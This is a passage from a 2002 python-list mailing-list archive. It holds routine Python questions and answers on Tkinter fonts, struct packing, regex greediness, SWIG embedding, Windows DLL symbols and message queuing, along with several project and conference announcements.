text.insert(END, line1, 'normal') text.insert(END, line2, 'normal') Now, on my computer, using the FixedSys font, this doesn't display two lines of equal length. The first one is shorter, but there are also occasions where it's longer than the line with the Ws. I tried other fonts as well, including "Courier New", "fixed", "oemfixed", "systemfixed" etc, but the effect remains the same. Is there something I can do to make all characters appear in the same size (like I would expect from a fixed-width font)? (If it matters, I'm on Win2K, Python 2.2.1.) Cheers, -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From matt at kimball.net Tue May 21 21:50:09 2002 From: matt at kimball.net (Matt Kimball) Date: Tue, 21 May 2002 18:50:09 -0700 (PDT) Subject: [ANN] NodeNet 1.0beta2 Message-ID: <20020521185010.10122.h018.c000.wm@mail.kimball.net.criticalpath.net> Hello all, I've released NodeNet 1.0beta2. Changes from the previous version include: * Both the network editing control and the node drag window manage their own scrollbars if their data is too big to be entirely visible at once. * In the network editing control, you can drag out a selection box to easily select multiple nodes at once. * Rendering in the Eye Candy demo application is faster. You can get the latest version, Windows binaries and online documentation at http://matt.kimball.net/nodenet.html -- Matt Kimball matt at kimball.net From ken at hotmail.com Fri May 24 09:29:30 2002 From: ken at hotmail.com (Ken) Date: Fri, 24 May 2002 23:29:30 +1000 Subject: New to Python... Message-ID: Hi, I am new to python. I am just wondering how different it is from C++? Also, how does python get mixed in with HTML to generate a webpage? Thanks From tjreedy at udel.edu Wed May 29 21:59:29 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 30 May 2002 01:59:29 GMT Subject: matching one time through a loop References: Message-ID: <5IfJ8.71468$Oa1.6018326@bin8.nnrp.aus1.giganews.com> "Corey G." wrote in message news:mailman.1022721348.30810.python-list at python.org... > I have a script that parses some email from a Maildir directory > and I am looking for the number 550. I want to stop searching once > the first occurrence is found in order to save time and be efficient. > This sort of thing can be done in Perl using the "last" statement. > I achieved my goal by using a counter but it seems terribly inefficient. > Any ideas? If you want to stop at first, then there is no need to count. Just stop. Also, searching for literal string should be more efficient with string.find than more general re stuff. TJR From fokke_wulf at hotmail.com Fri May 17 22:36:51 2002 From: fokke_wulf at hotmail.com (Matthew Diephouse) Date: Sat, 18 May 2002 02:36:51 GMT Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> <3CE5B856.D1150BCC@engcorp.com> Message-ID: <3CE5BD65.3000908@hotmail.com> The code is very much like the Perl code I submitted. It is within a subroutine. def hex2bin(input) output = hex( input ) output = pack("!l", output) ... From this, I get the error "required argument is not an integer", as previously stated. There's no other info in the Traceback that's important. I've tried wrapping output with a call to the int() function, but that doesn't work either. You did get me on the "!l" instead of "l!", but it didn't specify order in the struct docs, so I was guessing. Peter Hansen wrote: > Matthew Diephouse wrote: > >>I have the following perl code, which I'm trying to translate to python: >> >>my $out = hex( shift(@_) ); >>$out = pack("N", $out); >> >>However, I can't figure out how to pack the hex value. I always get an >>error: "required argument is not an integer". Python's pack doesn't have >>an "N" format, but I think I could use "l!" Help? Please? > > > Please post your code and the exception traceback so we can tell what > the problem is directly, rather than guessing. > > By the way, does this help?: > > >>>>import struct >>>>struct.pack('l', '5') >>> > Traceback (most recent call last): > File "", line 1, in ? > struct.error: required argument is not an integer > >>>>struct.pack('l', 5) >>> > '\x05\x00\x00\x00' > > And you know about the documentation for struct, right? It tells > what "l" means, and the others. And did you really mean "!l"? > > http://www.python.org/doc/current/lib/module-struct.html > > -Peter From wadler at avaya.com Mon May 6 11:11:24 2002 From: wadler at avaya.com (Philip Wadler) Date: 6 May 2002 08:11:24 -0700 Subject: PLAN-X: Programming Language Technologies for XML Message-ID: <1901ed66.0205060711.6d2a5a32@posting.google.com> Note that both submission and notification dates have changed from earlier announcements. The original submission date was awkwardly placed with respect to several other conference and workshop deadlines. ------- PLAN-X: PROGRAMMING LANGUAGE TECHNOLOGIES FOR XML Oct 3, 2002 Pittsburgh, PA (Co-located with PLI) CALL FOR PAPERS Submission deadline: May 31, 2002 [not May 1, as previously announced] XML has emerged as the de facto standard for data interchange on the web. The use of XML as a common format for representation, interchange, and transformation of data poses new challenges to programming languages, applications, and database systems. During the last few years, the database research community has devoted a lot of attention to XML's data representation challenges, as evidenced by the number of XML-related publications in premier database conferences and journals. In contrast, the attention devoted to XML by the programming language research community has been minimal. This is unfortunate, since the robustness of current and future programming standards and tools for XML will depend on the strength of their foundations in core programming technologies e.g., XML parsing (parsing theory and incremental parsing), XML schemas (type systems), XPATH expressions and XSLT programs (pattern-matching languages and their optimization), XSLT debuggers (dynamic program analysis and slicing). Since XML is a new domain, core programming technologies developed in past research cannot be used unchanged; instead, novel research is required to address the unique challenges posed by XML and its use in web applications and standalone applications. This workshop aims to bring together researchers from the programming languages and XML communities, a) to foster novel research to address unique challenges being posed by XML on current and future programming technologies; b) to exchange information on early research experiences with XML-related programming systems, tools, and languages; and c) to expose the PLI community to XML technologies and the potential impact of these technologies on future software. SUBMISSION PROCEDURE We solicit submissions on original research not previously published or currently submitted for publication elsewhere, in the form of extended abstracts. These extended abstracts should not exceed 5000 words (approximately 10 pages). Detailed submission instructions will be posted soon at http://www.research.avayalabs.com/user/wadler/planx. PROCEEDINGS There will be no formal proceedings. An informal proceedings will be distributed at the workshop. [The intention is that papers presented at PLAN-X should not be blocked from later submission to an 'archival' conference.] IMPORTANT DATES Submission deadline 31 May 2002 Notification of acceptance or rejection 31 July 2002 Final papers due for informal proceedings 4 Sep 2002 WEB PAGE: http://www.research.avayalabs.com/user/wadler/planx/ GENERAL CHAIR: Vivek Sarkar, IBM PROGRAM CO-CHAIRS: Benjamin Pierce (University of Pennsylvania) Philip Wadler (Avaya Labs) PROGRAM COMMITTEE: Allen Brown (Microsoft) Peter Buneman (Edinburgh) Sophie Cluet (Xyleme / INRIA) Mary Fernandez (AT&T Labs) Shriram Krishnamurthi (Brown) Makoto Murata (IBM Japan) Benjamin Pierce (University of Pennsylvania) Michael Schwartzbach (Aarhus) Dan Suciu (University of Washington) Philip Wadler (Avaya Labs) INVITED SPEAKER: James Clark From noah at noah.org Fri May 3 00:19:28 2002 From: noah at noah.org (Noah) Date: Thu, 2 May 2002 21:19:28 -0700 Subject: Message queuing In-Reply-To: Message-ID: You are right. We did send back confirmations at the application level... We maintained our own audit trails in mySQL. So we did most of the work ourselves. When all is said and I done I suppose we could have used almost any transport mechanism. But it did do queuing! You can't deny that! I've never had need for Quality of Service in the queuing systems I have used (and QOS was sort of a non-issue at BlueLight.) SOAP::Lite is Perl. What's the matter with you? I'd sooner write Java... That OpenQueue stuff looks interesting. Although it's Java it does not appear to be a Java only interface. Last updated nearly two years ago... hmmm... Looks dead. What else looks fresh? Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Christopher Browne Sent: Thursday, May 02, 2002 7:45 PM To: python-list at python.org Subject: Re: Message queueing Oops! "Noah Spurrier" was seen spray-painting on a wall: > Message queueing You could also roll your own using Sendmail or > qmail or some other mail server. That at least gets you a the > transport layer. You would then have to add an interface for Python > or XML-RPC -- and feed mail server error logs back into your system. > It's easier than it sounds. We did something like this at BlueLight > (K-Mart) -- of course, maybe that is a bad example ;-) But it > worked; it was easy to use and fix; and easy to figure out how it > was working -- unlike a horrible Java wrapped MQ-Series thing they > also made us use. > > Your XML-RPC to Jython/JMS bridge thing sounds elegant compared to > my idea. Unless you find a better Message Queue then I think that's > your best bet. An XML-RPC interface to JMS almost sounds like a > product. > > It's sad, but the importance of message queues does not seemed to > have been picked up by the open source community. As far as I can > tell there are no open source message queues... I don't have a job, > maybe someone wants to help me write one :-) The BIG problem with the "rolling via SMTP" is that SMTP doesn't provide you _any_ kind of end-to-end guarantees on delivery. SOAP::Lite has transport mechanisms where you can have messages go out (client side) via SMTP and come in (server side) via POP3; it's kind of cool stuff, but absent of guarantees of quaility of delivery, it's of really limited usefulness. In a web application, it would be very slick to set up an interface to the accounting system where you'd just throw transactions "over the wall," not caring in the slightest _when_ they arrive, so long as you are pretty sure that they _will_ arrive. Nobody really _cares_ when the data goes into the General Ledger so long as it arrives some time this year. (That might exaggerate things slightly, but it's still _true_.) What's needed is a "tracked mail server," so to speak, where clients get to use a sort of "FedEx Tracker" to see if their message has made it to the destination. (Designing a system to support that sort of "audit trail" is almost certainly a "necessary and sufficient" criterion to make this work.) Maybe what it needs is to build a "really seriously in user space" server, using one of the SMTP servers as starting points, with a database of some sort alongside to manage the tracking information. Or maybe it would be more appropriate to take one of the "Maildir" libraries and use that to manage a bunch of queues, alongside a database that does the "tracking" part. I don't think SMTP is the right protocol for the purpose; that would have the downside that it might fool people into thinking this ought to interoperate well with SMTP. More likely, it makes sense to have a couple of protocols: a) XML-RPC and/or SOAP for plain ordinary clients to use; verbose, but who cares; b) Perhaps CORBA for messages servers to use to transfer messages back and forth; that's definitely much less verbose... That's a long way of saying "I agree" :-). -- (reverse (concatenate 'string "ac.notelrac.teneerf@" "454aa")) http://www.cbbrowne.com/info/corbaalternatives.html#MSGQUEUE And me, with this terrible pain in all the diodes down my left side... -- Marvin the Paranoid Android From martin at v.loewis.de Thu May 23 03:09:42 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 23 May 2002 09:09:42 +0200 Subject: How Are Unlimited Precision Integers Accomplished? References: Message-ID: zephinilium at yahoo.com (Uncle_Alias) writes: > I was playing around with computing powers of 2 the other night, and > was watching Python spit out numbers. When I tested the output by > dividing it by 2 repeatedly, it seemed to be accurate and not a > rounded out number. This is amazing to me that it can calculate > integers to unlimited precision. How is this done? It uses more memory for larger numbers. A single byte can represent 256 values, two bytes 65536, three bytes 16777216, etc. So the internal representation roughly has the number of bytes of the integer, and the bytes themselves. Of course, you can't use processor instructions for operations on these numbers (directly), so Python implements its own +, -, *, /, etc. Regards, Martin From varney at collorado.edu Fri May 31 00:12:49 2002 From: varney at collorado.edu (Mike Varney) Date: Thu, 30 May 2002 22:12:49 -0600 Subject: Python program problem involving reading a web site. References: <3CF6F290.ACAA4FEF@engcorp.com> Message-ID: "Peter Hansen" wrote in message news:3CF6F290.ACAA4FEF at engcorp.com... > Mike Varney wrote: > > > > I wrote a quick little program that is supposed to read the html from a web > > site and to update the web counter to show another hit. > > Is there some valid reason for updating a web counter in this way? Perhaps, perhaps not. It could be nefarious, or not. :-) More likely if it was for nefarious purposes, I would resort to morphing into a script kiddy. In the end I guess it all depends on what you think about crackpots and pushing their buttons. Regardless, it is a question related to the implementation of python. > > It smells like the moral equivalent of ballot-stuffing... maybe I'm > just missing something. Yup. But the question still remains. From howard at eegsoftware.com Tue May 28 14:04:31 2002 From: howard at eegsoftware.com (Howard Lightstone) Date: Tue, 28 May 2002 18:04:31 GMT Subject: Pmw.Blt References: Message-ID: Ivica Munitic wrote in news:slrnaf4sp8.abj.imunitic at dijana.vest.hr: > I inastalled the Pmw package but when a try the BLtGraph demo i get > only a label telling me that the BLT package is not installed. > I fetched the BLT for Tcl83 package and that didn't help .. i don't > know where to put the BLT24.dll and BLT24.lib files. I tried puting > Blt24.dll into DLLs directory in Python22 root directory and Blt24.lib > under the tcl directory. That also didn't help. > What am I doing wrong except my English :))) > The problem seems to be that the Pmw loader uses the Tcl loader which uses the old-style Windows LoadLibrary procedure which uses a "standard" set of load paths. Apparently, the BLT dll is not on any of those paths, perhaps because Python puts the tcl directory under it instead of in "Program Files\Tcl". Try this: copy entire BLT2.4 directory from (Python) ---tcl\lib to ---tcl\tcl8.3 copy blt24.dll from (Python) tcl\bin to \windows\system This seems to work for me on clean install tests. From wilk at flibuste.net Wed May 29 06:47:03 2002 From: wilk at flibuste.net (William Dode) Date: Wed, 29 May 2002 12:47:03 +0200 Subject: What does Python offer? References: Message-ID: <20020529124703.1746b459.wilk@flibuste.net> Le Wed, 29 May 2002 08:49:48 +0100 "Solosnake" ?crivait: > Hello > > I have beome curious about Python after playing a game called 'Severance > - Blade of Darkness', which uses python scripts. I know very little > about the language. I am a C++ programmer, and would like to ask the > Python community: > > What is unique or special about Python? nothing really unique, juste the best of a lot of others langages. The tao of the langages for me. > Why would it be useful to a games programmer? of curse, and whent it's not enough you use your can still use your knowledge of C++. > Could it be used for allowing users to customize games, eg reprogramming > AI bots etc? > > Thanks for all answers > > D?ire > > > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From sholden at holdenweb.com Tue May 7 17:45:40 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 17:45:40 -0400 Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: "Danyel Fisher" wrote ... > I was pleased to discover some time back that code written entirely on a > UNIX machine worked with virtually [*] no changes on a PC. So--assuming you > aren't doing anything too exotic, you should find that most code you > generate is largely cross-platform. > > [*] Ok, so the original coder had written something like > new Socket( host, port ) > it turns out that PC systems want the input to be a tuple, > new socket( (host, port) ) > In truth, the difference was probably required by a move from 1.5.2 to some higher version number. Accepting two separate arguments rather than a (host, port) tuple was a bug in earlier implementations of the socket library which was removed, IIRC, in 1.6 (to the sound of a certain amount of anguish from people who had relied on the buggy behavior). The form you used should, however, backport to 1.5.2 without error, I believe. The socket library is pretty portable across platforms. but-its-all-thanks-to-huge-numbers-of-#ifdefs-in-the-C-code-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From aleax at aleax.it Wed May 1 02:59:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 06:59:10 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: <2nMz8.36161$8D3.1052219@news1.tin.it> Christopher Browne wrote: ... >> Could you give us a concrete example where the use of regular expressions >> in Perl is superior to Python? > > Well, in Perl, they're "first class objects," as it were, requiring no > extra references to functions to get them to function, as a base part > of the language syntax. I don't think this is the accepted and commonly used definition of "first class object". http://www.cs.unm.edu/~crowley/phdExams/1997xfall/pl.html for example: """ A first class object in a programming language is a language object that can be created dynamically, stored in a variable, passed as a parameter to a function and returned as a result by a function. """ It's true that Perl has several things "bundled" as an intrinsic, non-negotiable part of "the basic language" which Python places in separate modules. For example, in Perl, @ARGV is an intrinsic global variable that holds the script's arguments, while in Python the same arguments are held in sys.argv and thus to access them you need an 'import sys'. I think it would be misleading to argue that this makes the arguments "first class" in Perl and not in Python -- they're just as easy to access and use in either case, it's just that, in Python, they're not willy-nilly injected into your top-level namespace when you don't care about them. The situation is basically identical wrt regular expressions. Ease of use and power are the same. I've recoded lots of Perl scripts into Python, and re's were the least of the translation difficulties (it seems to me the re module is inspired by Perl's re's, so the similarity is very strong). Often in Python there may be _better ways_ to perform tasks for which a Perl-used developer automatically reaches for re's, but that's another issue. When you're transliterating you can still use re's, then if need be you do a "peephole cleanup" pass to get rid of the dispensable ones:-). Alex From jtdubs at eos.ncsu.edu Thu May 30 21:00:23 2002 From: jtdubs at eos.ncsu.edu (Justin Dubs) Date: Fri, 31 May 2002 01:00:23 GMT Subject: Passing values from C++ to embedded python. References: <7PeJ8.27836$Ir1.1692191@twister.southeast.rr.com> Message-ID: "Mark Rowe" wrote in message news:mailman.1022734969.31865.python-list at python.org... > Justin Dubs wrote: > > >Hey everyone, > > > >I have a C++ app in which I have embedded the python interpreter. I have a > >thread which does the simple Py_Initialize(), PyRun_InteractiveLoop(), > >Py_Finalize() business using stdin and stdout. Meanwhile the main thread > >does all the regular functionality of the app in another window. I have > >several classes, written in C++, which I have wrapped with SWIG and compiled > >into a shared library. C++ can instantiate the original classes, obviously, > >as they are written in C++. Python can instantiate the wrapped classes from > >the shared library and that also works perfectly. > > > >So, my problem is thus: > > > >If I have a pointer to an instance of one of these classes in C++, how can I > >create a python variable that points to the same instance? > > > >In other words, in pseudocode: > > > >In C++: > > MyClass *foo = new MyClass(); > > foo->SetAnswer(42); > > // insert unknown code to communicate foo to python > > > >In Python, from my interactive interpreter running on stdin and stdout > >within the C++ app: > > # insert unknown code to receive foo from c++ > > >>> foo.getAnswer(); > > 42 > > > >I hope you can understand what I am trying to accomplish. I need to make > >python aware of an instance of a variable that exists in C++. I tried doing > >this some simple ways from C++ using PyCObject_* and PyInstance_* and > >PyNew_* and other things. But, alas, I am but a beginner with the Python/C > >API and I could really use some help. > > > >Thanks a lot everyone, > > > >Justin Dubs > > > > > > > > > Hello, > > I had a similar problem recently. I'm unsure if the method that I used > to solve it is the simplest way to do so, but so far it has worked for me. > > The SWIG function SWIG_NewPointerObj can be used to return a PyObject * > for your wrapped class. If you are using SWIG shadow classes, you then > have to create a wrapper class instance that shadows the newly created > PyObject *. You can then insert the PyObject * into the appropriate > Python namespace. > > eg (Edited and untested): > > PyObject *ToConsole(Console *c); > > // Insert console object to into Python namespace > void InsertObject(Console *m_console) > { > PyObject * console_s = NULL, * a3d_m = NULL, * a3d_md = NULL, * > console_class = NULL; > PyObject * console = NULL, * main = NULL, * main_d = NULL, * > arg_tuple = NULL; > console_s = ToConsole(m_console); > > // Create Python shadow class from Python Object > // A3D.py is the shadow class file generated by SWIG > a3d_m = PyImport_ImportModule("A3D"); > a3d_md = PyModule_GetDict(a3d_m); > console_class = PyDict_GetItemString(a3d_md, "ConsolePtr"); > arg_tuple = PyTuple_New(1); > PyTuple_SetItem(arg_tuple, 0, console_s) ; > console = PyObject_CallObject(console_class, arg_tuple); > Py_XDECREF(arg_tuple); > arg_tuple = NULL; > > // Insert Python shadow class into global namespace > main = PyImport_AddModule("__main__"); > main_d = PyModule_GetDict(main); > > PyDict_SetItemString(main_d, "console", console); > > Py_XDECREF(console); > Py_XDECREF(a3d_m); > console = NULL; > a3d_m = NULL; > } > > and in your SWIG file, create a small section like the following: > > %{ > extern swig_type_info _swigt__p_Console[]; > PyObject *ToConsole(Console *c) > { > // _swigt__p_Console is a generated structure(?) that represents the > C++ class > extern swig_type_info _swigt__p_Console[]; > return SWIG_NewPointerObj(c, _swigt__p_Console, 0); > } > %} > > The C++ instance that you pass to InsertObject is then available in > Python as console in the __main__ namespace. I hope that this makes > sense, and helps you :D > > Mark > Thanks a lot Mark, I have a new problem now though. :-). our idea makes sense, I wrote the code, I put the stuff in the SWIG interface file, and it compiled perfectly. Woohoo. However, I can't figure out how to link it now. Here's what I have, simplified: classtowrap.cpp # the class i'm trying to wrap classtowrap.h # it's header file classtowrap.i # swig interface file classtowrap_wrap.cxx # generated c++ wrapper class from SWIG classtowrap.py # python shadow class from SWIG classtowrapc.so # the compiled, shared library from the classtowrap.cpp and the classtowrap_wrap.cxx that python can import main.cpp # the main driver program So, the main.cpp is what gets the python interpreter running and needs to send the instance into the python namespace. It, therefore, needs to use that method we defined in our classtowrap.i file, which was put in the classtowrap_wrap.cxx file, which is now in the shared library classtowrapc.so. I can't, of course, just do a -lclasstowrapc because libraries need to start with "lib", so I made a link from libclasstowrapc.so -> classtowrapc.so. Now I did the compilation of main.cpp with a -lclasstowrapc at the end of it. Here's the error I got: ld: libclasstowrapc.dylib is input for the dynamic link editor, is not relocatable by the static link editor again Mac OS X was nice enough to copy my symbolic link, this time with a .dylib extension, as is the default for dynamically linked libraries on this OS. However, being a dynamic library, you can't statically link it. So, how DO you dynamically link a library? I've never dealt with this kind of thing before. Thanks again for your help, Justin Dubs From peter at engcorp.com Mon May 27 20:30:26 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 May 2002 20:30:26 -0400 Subject: Python XML parsing example References: Message-ID: <3CF2CFA2.430245EC@engcorp.com> Steven Varco wrote: > > Hi there! > > I'm looking for an example in python to parse a XML file. > > For the first it would be enough to have a small working example, that > parses an XML file with an XSL template an look for speciefig "Blocks", for > each block, it should create a new XML File. Hmm... I was working on an example for you but PyXML 0.7.1 (and 0.7.0 before it) seem to be broken and I can't import stylesheets at all! (It's related to http://sourceforge.net/tracker/index.php?func=detail&aid=421488&group_id=6473&atid=106473 ) I believe my setup at work (probably using 0.6.x) will handle it, so I'll have to wait until tomorrow (and so will you, if no one else replies :). :-( -Peter From whisper at oz.net Fri May 17 15:55:51 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 12:55:51 -0700 Subject: Bug in regular expressions ? In-Reply-To: <20020517175527.76c55aea.christophe.delord@free.fr> Message-ID: RE's can be either greedy or non-greedy. It depends on the implementation, and even greedy implementations can default to non-greedy depending on how the RE pattern is coded. You may find the Regex Howto at http://py-howto.sourceforge.net/regex/regex.html of interest, particularly the section on "Greedy vs. Non-Greedy", section 6.3. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Christophe Delord > Sent: Friday, May 17, 2002 8:55 > To: python-list at python.org > Subject: Bug in regular expressions ? > > > > Hi, > > I thought that regular expressions were greedy, so that the > longuest match is returned by match(). > Consider these expressions : 'a|aa', 'aa|a' and 'aa?' > These expressions may match 'a' and 'aa' and should be equivalent. > When applied on 'aa', match only sees the first 'a' when using > the first regular expression ('a|aa'). > > >>> import re > >>> p=re.compile('a|aa') > >>> p.match('aa').span() > (0, 1) <- 'aa' (2 chars) should have be > matched ??? > >>> p=re.compile('aa|a') > >>> p.match('aa').span() > (0, 2) <- ok, two characters have been matched > >>> p=re.compile('aa?') > >>> p.match('aa').span() > (0, 2) <- ok > >>> > > So A|B and B|A are not always equivalent. When A and B match, B > is ignored even if the matched text is longer. > Is this a bug in the re module? > Is there a way to tell re to be "totaly greedy"? > > Thanks, > > -- > Christophe Delord > http://christophe.delord.free.fr/ > -- > http://mail.python.org/mailman/listinfo/python-list From pyth at devel.trillke.net Wed May 22 17:48:20 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 22 May 2002 23:48:20 +0200 Subject: y=if x>High: 2 elif x; from gr86882@i-one.at on Wed, May 22, 2002 at 02:39:27PM -0700 References: <315ea996.0205221339.1976f50e@posting.google.com> Message-ID: <20020522234820.K26513@prim.han.de> gr wrote: > Hi, > is there a simple possiblity to "teach" Python: > > y=if x>High: 2 elif x instead of > > if x>High: > y=2 > elif x y=1 > else: > y=0 this works... y = xHigh and 2 or 0 but don't show it around too much, either :-) the if-elif-else is usually understood best. holger From aleax at aleax.it Sat May 4 16:03:03 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 20:03:03 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: Martin v. L?wis wrote: ... > Both: it is impossible to access symbols that are defined in an > executable on Windows - you *must* get all symbols you need from a > library. Martin: this assertion is simply incorrect. Windows has enough real problems, without a need to go inventing more, false ones gainst it. For example, take the following the_exe.cpp: #include #include extern "C" __declspec(dllexport) void greet() { printf("Hello World!\n"); } typedef void (*pf)(char*, int); int main(int argc, char* argv[]) { HMODULE h = LoadLibrary("a_lib.dll"); FARPROC f = GetProcAddress(h, "repeat"); (*(pf)f)("greet", 3); return 0; } and the following a_lib.cpp: #include typedef (*pf)(void); extern "C" __declspec(dllexport) void repeat(const char* name, int n) { HMODULE h = GetModuleHandle(0); FARPROC f = GetProcAddress(h, name); for(int i=0; i So if you have a standalone python.exe, it is impossible to > build extensions for it. I really can't see that. A standalone python.exe might be less than optimal for other reasons, but it would be PERFECTLY feasible to build extensions for it (presumably to be linked against the PYTHON.LIB, and with symbols exposed from linking with PYTHON.DEF, though you could vary either of these building choices for some reason). Alex From tundra at tundraware.com Tue May 21 01:50:02 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Tue, 21 May 2002 05:50:02 GMT Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> Message-ID: <3CE9DEEE.96554CE2@tundraware.com> "David K. Trudgett" wrote: > > > People should be able to express facts and opinions, even strong ones, > without being labeled "childish" and "mindless". Not everyone has > hours of free time to write long diatribes in support of their > position (and good on those who do). Sorry if I was too windy... > > For those who think the sun shines out of corporate behemoths like > Microsoft, a simple statement of disagreement, perhaps with a few > actual reasons for it, might suffice, I should think. For me, the "sun rises and sets" on economic reality. Every single good thing I possess materially is possible because some corporation, typically large, thought they could make money providing it to me. My technical strength and strong preference is for Unix, but Microsoft's existence and products has been very good for me personally and my industry as a whole. In my view, they are national treasure, warts and all... -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From jeff at ccvcorp.com Fri May 3 13:39:07 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 3 May 2002 10:39:07 -0700 Subject: Sleep command References: <3CD25A92.70005@lucent.com> Message-ID: In article , holger krekel says... > [Brian Nulty Fri, May 03, 2002 at 10:38:26AM +0100] > Brian> The "sleep" command is not working for me in Jython 2.1. The > Brian> specification is: > Brian> > Brian> sleep(30); # to sleep for 30 seconds > > import time > time.sleep(30) > > and time should stand still for 30 seconds. > btw, i would rather call it 'statement','command' or 'code' than > 'specification'. Picking nits here, but I would call it a function, because that is exactly what it is. I most certainly would *not* call it a statement -- that term has a definite meaning in this context, and sleep() is *not* a statement. :) -- Jeff Shannon Technician/Programmer Credit International From deckerben at freenet.de Sun May 5 09:14:49 2002 From: deckerben at freenet.de (deckerben) Date: Sun, 5 May 2002 15:14:49 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> Message-ID: <3cd52c11$0$25705$9b622d9e@news.freenet.de> > > this is just what I wanted. And it works (even using my DOS hack). > > You might check if this works too, then: > > >>> import os > >>> cmdOutput = os.popen('dir *.bat') > >>> text = cmdOutput.read() > >>> cmdOutput.close() > >>> print text Yes it works also. But I may have a different problem. I tried to install a couple python packages to test hack-integrity. Every time I run any 'setup.py build' the following happens: D:\D\SCRIPTS\PROGRAM\Python\PyXML-0.7.1>python setup.py build Traceback (most recent call last): File "setup.py", line 280, in ? scripts = ['scripts/xmlproc_parse', 'scripts/xmlproc_val'] File "D:\USER\DJGPP\lib\python2.0\distutils\core.py", line 110, in setup dist.parse_config_files() File "D:\USER\DJGPP\lib\python2.0\distutils\dist.py", line 310, in parse_confi g_files filenames = self.find_config_files() File "D:\USER\DJGPP\lib\python2.0\distutils\dist.py", line 272, in find_config _files check_environ() File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 135, in check_envir on os.environ['PLAT'] = get_platform() File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 43, in get_platform (osname, host, release, version, machine) = os.uname() TypeError: unpack non-sequence I have tried three different packages and the result is always the same. I guess the problem is one of the folowing: 1. My port is broken (hypocondriac) 2. I need to set a system variable of some kind 3. I need to make a small change in one/more of the library scripts 4. Combination of the above. When I do a 'python -v setup.py build' I get five screenfuls of stuff, but nothing that clues me in on the problem's solution. ??? Ben From nas at python.ca Fri May 17 17:17:35 2002 From: nas at python.ca (Neil Schemenauer) Date: Fri, 17 May 2002 14:17:35 -0700 Subject: might compatibility become a *goal*? In-Reply-To: <1021652963.460304@cswreg.cos.agilent.com>; from weeks@vitus.scs.agilent.com on Fri, May 17, 2002 at 04:29:23PM +0000 References: <1021652963.460304@cswreg.cos.agilent.com> Message-ID: <20020517141735.B28879@glacier.arctrix.com> Greg Weeks wrote: > Indeed, lack of backward compatibility seems to be an expected > "feature" of Python, given the introduction of the __future__ module. Huh? This statement alone makes me feel like discounting your entire post. Neil From phr-n2002a at nightsong.com Sun May 5 19:09:43 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 05 May 2002 16:09:43 -0700 Subject: Python SHA-based encryption function, new version Message-ID: <7xu1pmxkco.fsf@ruckus.brouhaha.com> I've uploaded a new version to: http://www.nightsong.com/phr/crypto/p2.py Please continue to post any comments/suggestions/bugs. Changes in this version - Message authentication is now encrypt-then-sign using standard SHA1 HMAC, per suggestion of Bryan Olson and others. The HMAC implementation in this file should be faster than the one that comes with Python 2.2. - I make sure to change the cipher state before computing the nonce, in case there's a thread switch between computing the nonce and folding the nonce into the new state. Before computing the nonce I simply prepend an 'X' to the old state. Anyone see any problems? - Some minor optimizations and cosmetic changes. I haven't yet added entry points to separately compute the nonce, run the cipher, and sign a message, but probably ought to do so. This version does NOT interoperate with the old version, but I've kept the filename the same, since they're all supposed to only be used for testing and evaluation anyway. When a final version is released, I'll change to a new filename to avoid confusion. From starx at pacbell.net Wed May 1 07:35:10 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 1 May 2002 11:35:10 GMT Subject: Steve Holden wrote: [was Python-list digest, Vol 1 #10572 - 14 msgs] References: <20020419205101.17293.2839.Mailman@mail.python.org> <3CC53718.A10FF2E6@cascade-sys.com> <20020427171024.GA82912@roman.mobil.cz> <20020427130942.B1588@eecs.tufts.edu> <20020427180727.GB82912@roman.mobil.cz> Message-ID: Michael Gilfix || Sat 27 Apr 2002 11:20:25a: > On Sat, Apr 27 @ 20:07, Roman Neuhauser wrote: >> I disagree entirely. >> >> When I write code @work, I think "if 'x' is equal to 0", because >> one of my colleagues couldn't wrap his head around the safe way. >> When I write my own code, I think "if 0 is equal to 'x'". No, >> wait, I don't know what I think: the thought is abstract, and can >> be written both ways. But I actually have to remember to put the >> variable on the left, and the constant on the right side. > > For me, it works the other way around. If I'm programming in an > imperative paradigm, my thought process is sequential. I'm usually at > state A and want to get to state B and in the imperative paradigm, > my program is the list of steps to get from A to B. Therefore, > logically, it makes sense to think of x == '0' because by deduction, > sometime earlier x must have been declared and assigned to and this is > a pre-step to 0. I already made some other over-parenthesised comments before I realized this was responded to by ML. Anyway, when i'm writing a line like that, I actually think _in language_ 'if x is/equals zero', sometimes I even mumble things like this if i'm working fast and/or under pressure. Come to think of it, i treat it pretty much the same as 